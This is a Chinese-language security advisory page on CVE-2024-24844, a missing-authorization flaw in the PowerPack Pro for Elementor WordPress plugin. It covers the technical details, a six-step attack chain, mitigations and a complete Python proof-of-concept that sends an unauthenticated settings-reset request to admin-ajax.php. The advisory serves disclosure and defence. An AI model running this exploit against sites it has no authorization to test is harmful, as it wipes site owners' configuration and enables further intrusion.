IPBUF安全漏洞报告
English
CVE-2024-24844 CVSS 7.5 高危

CVE-2024-24844 | PowerPack Pro for Elementor插件授权缺失漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2024-24844
漏洞类型
授权缺失
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PowerPack Pro for Elementor

相关标签

授权缺失访问控制WordPress插件ElementorPowerPackCVE-2024-24844高危漏洞未授权访问设置重置

漏洞概述

CVE-2024-24844是WordPress插件PowerPack Pro for Elementor中的一个高危授权缺失漏洞。该插件是一款流行的Elementor页面构建器扩展插件,提供了丰富的设计元素和小部件。漏洞存在于插件的访问控制机制中,由于对某些敏感操作的权限验证不足,攻击者可以在未经认证的情况下访问或修改插件设置。攻击者可以利用此漏洞重置插件的所有配置,将网站恢复到默认状态,从而可能导致网站功能异常、用户体验下降,甚至可能被用于进一步的恶意攻击。该漏洞的CVSS评分为7.5,属于高危级别,攻击复杂度低,无需特殊权限或用户交互即可实现 exploit。漏洞影响范围涵盖PowerPack Pro for Elementor从任意版本到2.10.6的所有版本。鉴于该插件在WordPress生态中的广泛使用,建议所有使用该插件的用户立即更新到最新版本或采取相应的缓解措施。

技术细节

该漏洞属于OWASP Top 10中的A01:2021 - Broken Access Control类别。PowerPack Pro for Elementor插件在处理某些AJAX请求时,未正确验证用户权限。具体而言,插件提供的settings_reset功能允许未认证用户调用重置插件设置的接口。攻击者可以通过发送特制的HTTP请求到wp-admin/admin-ajax.php端点,触发reset_settings AJAX操作。由于插件开发者错误地配置了访问控制级别,使用了类似'author'或更低权限级别的检查,但实际实现中未执行严格的权限验证,导致任何访客都能成功调用该功能。漏洞利用涉及两个关键点:一是识别插件注册AJAX动作的钩子名称,二是构造符合预期格式的请求参数。修复方案需要在相关AJAX动作的回调函数中添加wp_verify_nonce验证,并使用current_user_can()函数进行权限检查,确保只有管理员才能执行敏感操作。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描目标WordPress站点,识别是否安装PowerPack Pro for Elementor插件,并确定其版本号
STEP 2
步骤2
漏洞识别:确认目标插件版本在受影响范围内(<=2.10.6),并识别可被未授权访问的AJAX端点
STEP 3
步骤3
构造攻击载荷:攻击者构造包含powerpack_reset_settings动作的HTTP POST请求到wp-admin/admin-ajax.php端点
STEP 4
步骤4
发送恶意请求:攻击者以未认证用户身份发送请求,由于插件缺少权限验证,请求被成功处理
STEP 5
步骤5
设置重置完成:插件数据库中的所有配置选项被重置为默认值,导致网站自定义设置丢失
STEP 6
步骤6
后续攻击:攻击者可能利用网站功能异常期间进行进一步入侵,如社会工程攻击或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-24844 PoC - PowerPack Pro for Elementor Unauthenticated Settings Reset # This PoC demonstrates the Missing Authorization vulnerability import requests import sys TARGET_URL = "https://example.com" # Replace with target URL def exploit_cve_2024_24844(): """ Exploit the missing authorization vulnerability in PowerPack Pro for Elementor to reset plugin settings without authentication. """ # Step 1: Identify the vulnerable AJAX endpoint ajax_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 2: Prepare the malicious request to reset plugin settings # The vulnerability exists because the plugin doesn't properly verify user permissions payload = { 'action': 'powerpack_reset_settings', # Vulnerable action 'settings_reset_nonce': '' # No nonce required due to missing validation } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print("[*] Sending exploit request to reset plugin settings...") print(f"[*] Target: {ajax_endpoint}") try: # Step 3: Send the unauthenticated request response = requests.post(ajax_endpoint, data=payload, headers=headers, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: if 'success' in response.text.lower() or '1' in response.text: print("[+] Exploit successful! Plugin settings have been reset.") print("[+] The plugin has been restored to default configuration.") return True else: print("[-] Unexpected response. Plugin may not be vulnerable or already at default settings.") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {str(e)}") return False def check_vulnerability(): """ Check if the target is running a vulnerable version of PowerPack Pro for Elementor. """ # Check plugin version via readme.txt or meta query version_urls = [ f"{TARGET_URL}/wp-content/plugins/powerpack-elements/readme.txt", f"{TARGET_URL}/wp-content/plugins/powerpack-elements/languages/powerpack-elements.pot" ] for url in version_urls: try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[*] Found plugin file: {url}") return True except: continue return None if __name__ == "__main__": print("=" * 60) print("CVE-2024-24844 Exploit - PowerPack Pro for Elementor") print("Missing Authorization - Settings Reset") print("=" * 60) if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Target: {TARGET_URL}") check_vulnerability() exploit_cve_2024_24844() print("\n[*] Exploitation complete.")

影响范围

PowerPack Pro for Elementor < 2.10.7

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1) 限制wp-admin/admin-ajax.php的访问,只允许已登录用户访问;2) 使用Web应用防火墙(WAF)规则阻止可疑的powerpack_reset_settings请求;3) 暂时禁用PowerPack Pro for Elementor插件,待官方发布修复版本后再启用;4) 使用WordPress的插件管理功能设置特定角色的访问权限;5) 启用双因素认证增强管理员账户安全;6) 定期备份网站数据和数据库,以便在遭受攻击后快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表